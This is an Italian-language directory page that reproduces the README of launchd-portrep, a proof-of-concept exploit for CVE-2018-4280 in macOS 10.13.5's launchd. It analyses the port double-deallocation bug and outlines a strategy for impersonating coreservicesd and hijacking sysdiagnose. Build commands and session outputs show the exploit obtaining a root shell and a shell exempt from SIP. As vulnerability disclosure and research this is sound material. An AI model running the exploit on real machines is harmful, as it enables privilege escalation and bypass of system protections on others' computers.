Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
launchd-portrep — CVE-2018-4280: Vulnerabilità di sostituzione delle porte Mach in launchd su macOS 10.13.5 che porta a escalation dei privilegi locali e bypass di SIP. | Kitploit
Strumenti/GitHubGitHub/bazad/launchd-portrep
Escalation di PrivilegiFramework di ExploitExploitPenetration TestingRed TeamingBinary Exploitation
GitHubbazad/launchd-portrep

launchd-portrep

CVE-2018-4280: Vulnerabilità di sostituzione delle porte Mach in launchd su macOS 10.13.5 che porta a escalation dei privilegi locali e bypass di SIP.

Vedi Repository
5967 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

launchd-portrep

launchd-portrep è un exploit per una vulnerabilità di sostituzione dei port in launchd, il processo iniziale nello spazio utente e demone di gestione dei servizi su macOS. Inviando un messaggio Mach appositamente costruito al bootstrap port, launchd può essere indotto a deallocare il suo send right per qualsiasi port Mach a cui l'attaccante ha anch'esso un send right. Ciò consente all'attaccante di impersonare qualsiasi servizio launchd che può cercare davanti al resto del sistema.

La vulnerabilità

Launchd multiplexa diversi gestori di messaggi Mach sul suo port principale, incluso un gestore MIG per i messaggi di eccezione. Se un processo invia un messaggio mach_exception_raise o mach_exception_raise_state_identity al proprio bootstrap port, launchd riceverà e processerà quel messaggio come un'eccezione a livello di host.

Purtroppo, la gestione di questi messaggi da parte di launchd è difettosa. Se il tipo di eccezione è EXC_CRASH, allora launchd dealloca i port di thread e task inviati nel messaggio e poi restituisce KERN_FAILURE dalla routine di servizio, causando la deallocazione da parte del sistema MIG dei port di thread e task una seconda volta. (L'assunzione è che se una routine di servizio restituisce successo, allora ha preso possesso di tutte le risorse nel messaggio Mach, mentre se la routine di servizio restituisce un errore, allora non ha preso possesso di nessuna risorsa.)

Ecco il codice dalla routine di servizio di launchd per i messaggi mach_exception_raise, decompilato con IDA/Hex-Rays e leggermente modificato per migliorare la leggibilità:

root@kitploit:~
kern_return_t __fastcall
catch_mach_exception_raise(                             // (a) La routine di servizio
        mach_port_t           exception_port,           //     viene chiamata con i valori
        mach_port_t           thread,                   //     direttamente dal messaggio
        mach_port_t           task,                     //     Mach inviato dal client.
        unsigned int          exception,                //     I port di thread e task
        mach_exception_data_t code,                     //     potrebbero essere send right
        unsigned int          codeCnt)                  //     arbitrari.
{
    kern_return_t kr;      // eax@1 MAPDST
    kern_return_t result;  // eax@10
    int pid;               // [rsp+14h] [rbp-43Ch]@1
    char codes_str[1024];  // [rsp+20h] [rbp-430h]@5
    __int64 __stack_guard; // [rsp+420h] [rbp-30h]@1

    __stack_guard = *__stack_chk_guard_ptr;
    pid = -1;
    kr = pid_for_task(task, &pid);
    if ( kr )
    {
        _os_assumes_log(kr);
        _os_avoid_tail_call();
    }
    if ( codeCnt )
    {
        do
        {
            __snprintf_chk(codes_str, 0x400uLL, 0, 0x400uLL, "0x%llx", *code);
            ++code;
            --codeCnt;
        }
        while ( codeCnt );
    }
    launchd_log_2(
        0LL,
        3LL,
        "Host-level exception raised: pid = %d, thread = 0x%x, "
            "exception type = 0x%x, codes = { %s }",
        pid,
        thread,
        exception,
        codes_str);
    kr = deallocate_mach_port(thread);                  // (b) Il port "thread" inviato
    if ( kr )                                           //     nel messaggio viene deallocato.
    {
        _os_assumes_log(kr);
        _os_avoid_tail_call();
    }
    kr = deallocate_mach_port(task);                    // (c) Il port "task" inviato nel
    if ( kr )                                           //     messaggio viene deallocato.
    {
        _os_assumes_log(kr);
        _os_avoid_tail_call();
    }
    result = 0;
    if ( *__stack_chk_guard_ptr == __stack_guard )
    {
        LOBYTE(result) = exception == 10;               // (d) Se il tipo di eccezione è 10
        result *= 5;                                    //     (EXC_CRASH), allora viene
    }                                                   //     restituito un errore
    return result;                                      //     KERN_FAILURE. MIG dealloca
}                                                       //     i port di nuovo.

Questa doppia deallocazione dei nomi dei port è problematica perché un processo può impostare qualsiasi port desideri come port di task e thread nel messaggio di eccezione. Launchd non esegue alcun controllo che i send right ricevuti corrispondano effettivamente a un thread e un task; i port potrebbero, ad esempio, essere send right verso port già presenti nello spazio IPC di launchd. Quindi la doppia deallocazione farebbe effettivamente sì che launchd perda un riferimento utente su uno dei suoi port.

Questo bug può essere sfruttato per liberare il send right di launchd verso qualsiasi port Mach a cui il processo attaccante ha anch'esso un send right. In particolare, se il processo attaccante può cercare un servizio di sistema usando launchd, allora può liberare il send right di launchd verso quel servizio e quindi impersonare il servizio al resto del sistema. Dopo di che ci sono molte strade diverse per ottenere privilegi di sistema.

Strategia di exploit per ottenere task_for_pid-allow

Questo bug è una versione meno generale del CVE-2016-7637, un problema di gestione dei riferimenti utente di Mach port in XNU scoperto da Ian Beer che permetteva ai processi di liberare port Mach in altri processi. Ian Beer ha sfruttato quella vulnerabilità su macOS sostituendo il send right di launchd verso l'endpoint com.apple.CoreServices.coreservicesd e impersonando coreservicesd al resto del sistema. Coreservicesd è un bersaglio interessante perché è uno dei pochi servizi a cui i client invieranno il loro task port in un messaggio Mach. Sostituendo il send right di launchd verso coreservicesd con il proprio port e quindi inducendo client privilegiati a cercare e comunicare con coreservicesd, è riuscito a ottenere il task port per un processo privilegiato e quindi eseguire codice all'interno di quel processo.

Poiché il comportamento su macOS non è cambiato, ho sostanzialmente copiato la strategia di exploit di Ian Beer per questa vulnerabilità. Inviamo messaggi di eccezione a launchd contenenti il port di servizio di coreservicesd finché non liberiamo il send right di launchd verso quel port. Possiamo rilevare quando abbiamo liberato il diritto chiamando di nuovo bootstrap_look_up() sul servizio: se launchd restituisce un nome di port non valido, allora abbiamo liberato con successo il send right di launchd verso il port. Quindi, registriamo e annulliamo ripetutamente la registrazione di un gran numero di servizi con launchd finché uno dei servizi che registriamo non viene assegnato allo stesso nome di port Mach nello spazio IPC di launchd del port originale di coreservicesd. A questo punto, qualsiasi processo che cerca com.apple.CoreServices.coreservicesd in launchd riceverà un send right verso il nostro servizio falso invece che verso il vero coreservicesd. Poi eseguiamo un server MITM sul port di servizio falso, ispezionando tutti i port Mach nei messaggi ricevuti dai client prima di inviarli al vero coreservicesd. A questo punto inviamo un messaggio a sysdiagnose che lo fa eseguire un tailspin, il che fa sì che sysdiagnose si connetta al nostro port falso di coreservicesd e ci invii il suo task port. Poiché sysdiagnose ha l'entitlement task_for_pid-allow, possiamo ora ottenere il task port per qualsiasi processo.

Per ripristinare (per lo più) il corretto funzionamento del sistema, utilizziamo sysdiagnose per ottenere il task port di launchd, e quindi utilizziamo il task port di launchd per sostituire il send right di launchd verso il nostro port di servizio falso con un send right verso il vero coreservicesd. In questo modo i client futuri potranno effettivamente raggiungere coreservicesd.

Un problema che ho notato con questo approccio è che il sistema sembra bloccarsi per un breve periodo durante lo spegnimento. Presumo che ciò sia dovuto al fatto che manomettere i port di launchd sconvolge alcune contabilità o notifiche di port di launchd. Non ho approfondito ulteriormente questo problema, ma riavviare coreservicesd usando launchctl sembra risolverlo:

root@kitploit:~
$ sudo launchctl kickstart -k -p system/com.apple.coreservicesd

Una volta ottenuto task_for_pid-allow

Una volta che abbiamo esecuzione di codice all'interno di un processo con task_for_pid-allow, possiamo controllare qualsiasi task sul sistema. Questo è fantastico perché non solo possiamo eseguire la normale elevazione dei privilegi, ma possiamo anche bypassare SIP iniettando codice in processi con entitlement SIP.

Questo exploit dimostra due potenziali utilizzi: esecuzione di comandi di sistema come root e iniezione di dylib. Per eseguire un comando di sistema, invochiamo semplicemente la funzione standard system() dall'interno di sysdiagnose, passandole la stringa di comando fornita dall'utente. Per iniettare una dylib in un processo, chiamiamo task_for_pid() dall'interno di sysdiagnose per ottenere il task port del target, quindi utilizziamo il task port per chiamare dlopen() sulla libreria fornita.

Utilizzo

Per costruire l'exploit autonomo launchd-portrep, esegui make. Consulta l'inizio del Makefile per varie opzioni di build. Dovrai prima scaricare e compilare la libreria di iniezione threadexec.

root@kitploit:~
$ git clone https://github.com/bazad/launchd-portrep
$ cd launchd-portrep
$ git clone https://github.com/bazad/threadexec
$ cd threadexec
$ make ARCH=x86_64 SDK=macosx
$ cd ..
$ make

Nota che l'exploit così come scritto fallirà se il processo sysdiagnose è già in esecuzione. Pertanto, ai fini di questa proof of concept, assicurati di uccidere sysdiagnose prima di eseguire l'exploit. (È possibile rielaborare l'exploit in modo che funzioni anche se sysdiagnose è già in esecuzione, ma ho deciso di non incorporare questa funzionalità per scoraggiare l'uso di questo strumento per scopi malintenzionati.)

Esegui l'exploit specificando il comando da eseguire come se fosse passato alla funzione system():

root@kitploit:~
$ ./launchd-portrep 'touch /tmp/exploit-success'
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0xd77 (index 196) after 28 tries
[+] Sysdiagnose has PID 499
[+] Found sysdiagnose task port 0x1767b
[+] Command exited with status: 0
$ ls -la /tmp/exploit-success
-rw-r--r--  1 root  wheel  0 Jul 24 23:50 /tmp/exploit-success

In alternativa, se specifichi un PID e un percorso assoluto a un file di libreria dinamica, launchd-portrep inietterà la dylib nel processo specificato.

Ci sono anche due script di esempio che incapsulano launchd-portrep: launchd-portrep-rootsh.sh e launchd-portrep-rootless.sh.

launchd-portrep-rootsh.sh presenterà una shell root tradizionale installando un setuid-root shell launcher sotto /var/suid-sh. (La shell setuid viene automaticamente rimossa dopo 1 secondo.)

root@kitploit:~
$ bash ./launchd-portrep-rootsh.sh
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0x153b (index 192) after 60 tries
[+] Sysdiagnose has PID 1231
[+] Found sysdiagnose task port 0x1df7b
[+] Command exited with status: 0
Launching /private/var/suid-sh
bash-3.2#

launchd-portrep-rootless.sh è ancora più interessante: presenta una shell in cui le restrizioni rootless sul filesystem sono state disabilitate. Lo fa generando diskmanagementd, che ha l'entitlement com.apple.rootless.install.heritable, e poi iniettando una dylib in diskmanagementd che lo fa generare una shell con stdin e stdout legati a named pipe. Come suggerisce il nome dell'entitlement, le esenzioni da SIP concesse da com.apple.rootless.install.heritable saranno passate ai processi figli, il che significa che la shell e tutti i comandi eseguiti al suo interno sono essenzialmente esenti dalle protezioni del filesystem di SIP.

root@kitploit:~
$ bash ./launchd-portrep-rootless.sh
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0xe7b (index 194) after 60 tries
[+] Sysdiagnose has PID 1145
[+] Found sysdiagnose task port 0x1747b
[+] Command exited with status: 0
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0x13d7b (index 199) after 61 tries
[+] Sysdiagnose has PID 1162
[+] Found sysdiagnose task port 0xbe47
[+] Got task port 0xa07 for PID 1153
[+] Successfully loaded "/Users/bazad/Developer/GitHub/launchd-portrep/rootless-sh.dylib" in process 1153
bash: no job control in this shell
bash-3.2# csrutil status
System Integrity Protection status: enabled.
bash-3.2# ls -laO /System
total 0
drwxr-xr-x@   4 root  wheel  restricted  128 Jul 25 19:08 .
drwxr-xr-x   31 root  wheel  sunlnk      992 Jul 25 12:20 ..
-rw-r--r--    1 root  wheel  restricted    0 Oct  6  2017 .localized
drwxr-xr-x  102 root  wheel  restricted 3264 Jun 12 11:47 Library
bash-3.2# touch /System/exploit-success
bash-3.2# ls -laO /System
total 0
drwxr-xr-x@   5 root  wheel  restricted  160 Jul 25 19:19 .
drwxr-xr-x   31 root  wheel  sunlnk      992 Jul 25 12:20 ..
-rw-r--r--    1 root  wheel  restricted    0 Oct  6  2017 .localized
drwxr-xr-x  102 root  wheel  restricted 3264 Jun 12 11:47 Library
-rw-r--r--    1 root  wheel  restricted    0 Jul 25 19:19 exploit-success
bash-3.2# exit

launchd-portrep è stato testato su macOS 10.13.5 17F77.

Licenza

Il codice di launchd-portrep è rilasciato sotto licenza MIT.


Brandon Azad

Scarica lo strumento